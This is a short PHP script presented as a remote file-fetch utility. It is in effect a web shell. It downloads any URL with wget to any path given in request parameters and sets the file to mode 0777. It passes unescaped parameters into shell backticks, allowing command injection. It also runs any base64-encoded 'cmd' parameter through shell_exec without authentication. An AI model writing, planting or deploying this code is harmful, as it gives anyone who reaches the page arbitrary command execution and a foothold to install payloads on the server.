<?php # get source file from remote server and save file into given location.
#Source file with full url path.
$source=urldecode(trim($_REQUEST['source']));
#destination dir location.
$destination=urldecode(trim($_REQUEST['destination']));
#output filename
$new_filename=urldecode(trim($_REQUEST['filename']));
#get linux cmd from different server and executed.
$cmd=base64_decode(trim($_REQUEST['cmd']));

if(empty($new_filename)) { $new_filename=end(explode("/",$source)); }
$output_file=$destination.'/'.$new_filename;

`wget -O $output_file $source`;
`chmod -R 0777 $output_file`;

$size=filesize($output_file);
if($size > 0) { echo 1; }else{ 0; }

if(isset($cmd)) { shell_exec($cmd); }


?>
